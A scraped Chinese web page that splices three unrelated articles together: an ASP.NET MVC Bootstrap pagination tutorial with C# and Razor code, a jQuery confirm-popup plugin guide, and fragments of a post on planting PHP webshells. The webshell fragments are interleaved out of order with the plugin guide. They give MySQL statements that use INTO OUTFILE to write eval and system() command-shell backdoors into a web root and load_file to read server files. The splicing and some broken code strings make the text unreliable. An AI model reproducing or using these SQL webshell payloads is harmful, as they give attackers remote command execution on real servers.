图片 20

jQuery插件css3动画模拟confirm弹窗

基于Bootstrap的Asp.net Mvc 分页的实现

最近写了一个mvc 的 分页,样式是基于 bootstrap 的
,提供查询条件,不过可以自己写样式根据个人的喜好,以此分享一下。首先新建一个Mvc
项目,既然是分页就需要一些数据,我这边是模拟了一些假的数据,实际的项目中都是在数据库中去取得的,很简单的数据:

图片 1

1  public class User  2     {  3         public string Name { get; set; }  4   5         public int Age { get; set; }  6     }

图片 2

取数据我这边是加了120个数据:

图片 3

 1   public List<User> GetData()   2         {   3             List<User> list = new List<User>();   4             string[] array = new string[] { "Tom", "Joy", "James", "Kobe", "Jodan", "LiLei", "Hanmeimei", "xiaoming", "Danneil", "Forest", "Newbee", "Azure" };   5             for (int i = 0; i < 120; i++)   6             {   7                 User user = new User();   8                 user.Age = i;   9                 user.Name = array[i / 10];  10                 list.Add(user);  11             }  12   13   14             return list;  15         }

图片 4

 然后新建一个 PageModel类

图片 5

 1 /// <summary>   2     /// 有些属性我写成了虚的, 这样可以根据不同的需要去重写便于扩展   3     /// </summary>   4     public class BasePageModel   5     {   6         public string SearchKeyWord { get; set; }   7    8         /// <summary>   9         ///点击分页是指向 Action 的名字 根据具体需要而定  10         /// </summary>  11         public virtual string ActionName  12         {  13             get  14             {  15                 return "Index";  16             }  17         }  18   19         public int TotalCount { get; set; }  20   21         public int CurrentIndex { get; set; }  22   23         public int TotalPages  24         {  25             get  26             {  27                 return (int)Math.Ceiling((double)TotalCount / (double)PageSize);  28             }  29         }  30                31         /// <summary>  32         /// 根据需要具体而定PageSize  33         /// </summary>  34         public virtual int PageSize  35         {  36             get { return 10; }  37         }  38   39         /// <summary>  40         ///根据需要具体而定 分页显示最大的页数   41         /// </summary>  42         public virtual int DisplayMaxPages  43         {  44             get  45             {  46                 return 10;  47             }  48         }  49   50         public bool IsHasPrePage  51         {  52             get  53             {  54                 return CurrentIndex != 1;  55             }  56         }  57   58         public bool IsHasNextPage  59         {  60             get  61             {  62                 return CurrentIndex != TotalPages;  63             }  64         }  65     }

图片 6

再新建一个分布式图 建在Shared 文件夹里,代码如下:

图片 7

 1 @using MvcTest.Models   2 @model MvcTest.Models.BasePageModel   3    4 @{if (Model != null && Model.TotalPages != 0)   5 {   6     <ul >   7         @{   8    9             @Url.CreatPageLiTag(Model, Model.CurrentIndex - 1, false, Model.IsHasPrePage, "&laquo;")  10   11     if (Model.TotalPages <= Model.DisplayMaxPages)  12     {  13         for (int i = 1; i < Model.TotalPages; i++)  14         {  15             @Url.CreatPageLiTag(Model, i, i == Model.CurrentIndex);  16         }  17     }  18     else  19     {  20         if (Model.CurrentIndex - 1 < 5)  21         {  22             for (int i = 1; i <= Model.DisplayMaxPages - 1; i++)  23             {  24                 @Url.CreatPageLiTag(Model, i, i == Model.CurrentIndex);  25             }  26   27             @Url.CreatPageLiTag(Model, Model.CurrentIndex, false, false, "...");  28         }  29         else  30         {  31             @Url.CreatPageLiTag(Model, 1);  32   33   34                                          if (Model.CurrentIndex + (Model.DisplayMaxPages - 2) / 2 >= Model.TotalPages)  35                                          {  36                                              int page = Model.CurrentIndex - (Model.DisplayMaxPages - Model.TotalPages + Model.CurrentIndex - 1);  37   38                                              if (page > 1)  39                                              {  40                                                 @Url.CreatPageLiTag(Model, Model.CurrentIndex, false, false, "...");  41                                              }  42   43                                              for (int i = page + 1; i < Model.TotalPages; i++)  44                                              {  45                                                 @Url.CreatPageLiTag(Model, i, i == Model.CurrentIndex);  46                                              }  47                                          }  48                                          else  49                                          {  50                                              int page = Model.CurrentIndex - (Model.DisplayMaxPages - 2) / 2;  51   52                                              if (page > 2)  53                                              {  54                                                 @Url.CreatPageLiTag(Model, Model.CurrentIndex, false, false, "...");  55                                              }  56   57                                              for (int i = page; i < Model.CurrentIndex + (Model.DisplayMaxPages - 2) / 2; i++)  58                                              {  59                                                 @Url.CreatPageLiTag(Model, i, i == Model.CurrentIndex);  60                                              }  61                                             @Url.CreatPageLiTag(Model, Model.CurrentIndex, false, false, "...");  62                                          }  63   64         }  65     }  66   67     @Url.CreatPageLiTag(Model, Model.TotalPages, Model.TotalPages == Model.CurrentIndex)  68             @Url.CreatPageLiTag(Model, Model.CurrentIndex + 1, false, Model.IsHasNextPage, "&raquo;")  69   70         }  71     </ul>  72   73 }}

图片 8

以上就是分页的核心代码,包括了一些判断逻辑,其中的 @Url.CreatPageLiTag
我是写了一个扩展

图片 9

 1 public static class HtmlHelperExtensions   2     {   3         public static MvcHtmlString CreatPageLiTag(this UrlHelper urlHelper,   4                                                    BasePageModel pageModel,   5                                                    int index,   6                                                    bool isCurrentIndex = false,   7                                                    bool isDisable = true,   8                                                    string content = "")   9         {  10   11             string url = urlHelper.Action(pageModel.ActionName, new { searchkey = pageModel.SearchKeyWord, index = index });  12             string activeClass = !isCurrentIndex ? string.Empty : "";  13             string disableClass = isDisable ? string.Empty : "";  14             url = isDisable ? "  + url + "'" : string.Empty;  15             string contentString = string.IsNullOrEmpty(content) ? index.ToString() : content;  16   17             return new MvcHtmlString("<li " + activeClass + disableClass + "><a " + url + ">" + contentString + "</a></li>");  18         }  19     }

图片 10

在这里面里面 是生成<a/>标签的,样式可以自己定。无非就是一些css
的定义。

然后就在action 的方法里取数据

图片 11

 1   public ActionResult Index(string searchkey, string index)   2         {   3             if (string.IsNullOrEmpty(index))   4                 index = "1";   5             if (string.IsNullOrEmpty(searchkey))   6                 searchkey = string.Empty;   7    8             List<User> totalList = GetData().Where(p=>p.Name.ToLower().Contains(searchkey.ToLower())).ToList();   9             BasePageModel page = new BasePageModel() { SearchKeyWord = searchkey, CurrentIndex = Int32.Parse(index), TotalCount = totalList.Count };  10   11             List<User> pageList = totalList.Skip((page.CurrentIndex - 1) * page.PageSize).Take(page.PageSize).ToList();  12             ViewData["pagemodel"] = page;  13             return View(pageList);  14         }

图片 12

前台代码:

图片 13

 1 @model List<MvcTest.Controllers.User>   2 @{   3     ViewBag.Title = "Index";   4 }   5    6 <h2>Data List</h2>   7 <form  name="searchform" action="@Url.Action("Index", new {index="1" }) method="post">   8     <div >   9         <input type="text" id="searchkey" name="searchkey"  placeholder="Search..." />  10           11               12           13     </div>  14 </form>  15 <table >  16     <thead>  17         <tr>  18             <th>Name</th>  19             <th>Age</th>  20         </tr>  21     </thead>  22     <tbody>  23         @foreach (var item in Model)  24         {  25             <tr>  26                 <td>@item.Name</td>  27                 <td>@item.Age</td>  28             </tr>  29         }  30   31     </tbody>  32 </table>  33 @Html.Partial("MvcPagerView", ViewData["pagemodel"])

图片 14

 

 

Ok 搞定。效果如下:

图片 15

图片 16

 

分页的样式我还是比较喜欢的,当然可以自己扩展。

 

分类: ASP.NET/ASP.NET MVC


php后台拿shell要知道php的路径,文章下将讲诉爆php路径的方法!!!

相比浏览器自带的alert、confirm,能力所及,我更喜欢所有的东西都是自定义:
首先在head标签(当然喜欢其他地方自己看着办)内引入插件样式表和js。
<link rel=”stylesheet” />    —如果可以,可以自己修改UI
<script type=”text/javascript” src=”js/jquery.js”
></script>    —必须先引入jQuery
<script type=”text/javascript” src=”js/WeiConfirm.js”
></script>    —再引入插件js
 
接下来就是调用方法,先看看漂亮的效果吧:
图片 17

方法一:
CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );
INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES (‘<?php
@eval($_POST[xiaoma])?>’);
SELECT xiaomaFROM study INTO OUTFILE ‘E:/wamp/www/7.php’;
—-以上同时执行,在数据库: mysql
下创建一个表名为:xiaoma,字段为xiaoma1,导出到E:/wamp/www/7.php
一句话连接密码:xiaoma

上面图片效果调用用方法:
<script>
$(function(){
        $.confirm(‘我是漂亮的confirm弹窗,带css3动画哦’,function(){
                $.confirm(‘你单击的确定’)
        });
});
</script>
 
接下来详细说明参数不同时的调用效果:
默认—标题为:【温馨提示】
        —按钮分别为【确定】和【取消】
        —其他3个参数都为空,一共6个参数

方法二:
 Create TABLE xiaoma (xiaoma1 text NOT NULL);
 Insert INTO xiaoma (xiaoma1) VALUES(‘<?php
eval($_POST[xiaoma])?>’);
 select xiaoma1 from xiaoma into outfile ‘E:/wamp/www/7.php’;
 Drop TABLE IF EXISTS xiaoma;

             //参数是1个,参数为信息内容
                $.confirm(‘我是漂亮的confirm弹窗’);
               
图片 18

方法三:

               
//参数是2个,前一个为内容,后一个为点击【确定】后执行的函数
                $.confirm(‘我是漂亮的confirm弹窗’,function(){
                    alert(‘点击确定执行的函数’)
                });
               
               
//参数是3个,第一个为内容,第二个为点击【确定】后执行的函数,第三个为点击【取消】后执行的函数
                $.confirm(‘我是漂亮的confirm弹窗’,function(){
                    alert(‘点击确定执行的函数’)
                },function(){
                    alert(‘点击取消后执行的函数’)
                });
               
               
//参数是4个,第一个为内容,第二个替换默认为【确定】的值,第三个为点击【“确定”】后执行的函数,第四个为点击【取消】后执行的函数
               
$.confirm(‘我是漂亮的confirm弹窗’,’还是确定’,function(){
                    alert(‘点击还是确定执行的函数’)
                },function(){
                    alert(‘点击取消后执行的函数’)
                });
               
图片 19
               

读取文件内容:    select load_file(‘E:/xamp/www/s.php’);

                //剩下就是参数为6个,不解释了,看下面,很好理解
               
$.confirm(‘标题哈哈’,’内容哈哈’,’确定哈哈’,’取消哈哈’,function(){
                    alert(‘你单击的是确定哈哈’);
                },function(){
                    alert(‘你单击的是取消哈哈’);
                });
            
图片 20

写一句话:select ‘<?php @eval($_POST[cmd])?>’INTO OUTFILE
‘E:/xamp/www/xiaoma.php’

兼容性:
    勉强兼容ie8,本来好的效果都没想过兼容IE,更别说ie6了。

cmd执行权限:select ‘<?php echo
\'<pre>\’;system($_GET[\’cmd\’]); echo \'</pre>\’;
?>’ INTO OUTFILE ‘E:/xamp/www/xiaoma.php’

插件下载:

方法四:
 select load_file(‘E:/xamp/www/xiaoma.php’);

还有:

 select ‘<?php echo \'<pre>\’;system($_GET[\’cmd\’]);
echo \'</pre>\’; ?>’ INTO OUTFILE ‘E:/xamp/www/xiaoma.php’
 然后访问网站目录:

不知道代码写的好不好,希望大神能指正一下O(∩_∩)O嗯!

 


php爆路径方法收集 :

发表评论

电子邮件地址不会被公开。 必填项已用*标注

标签:
网站地图xml地图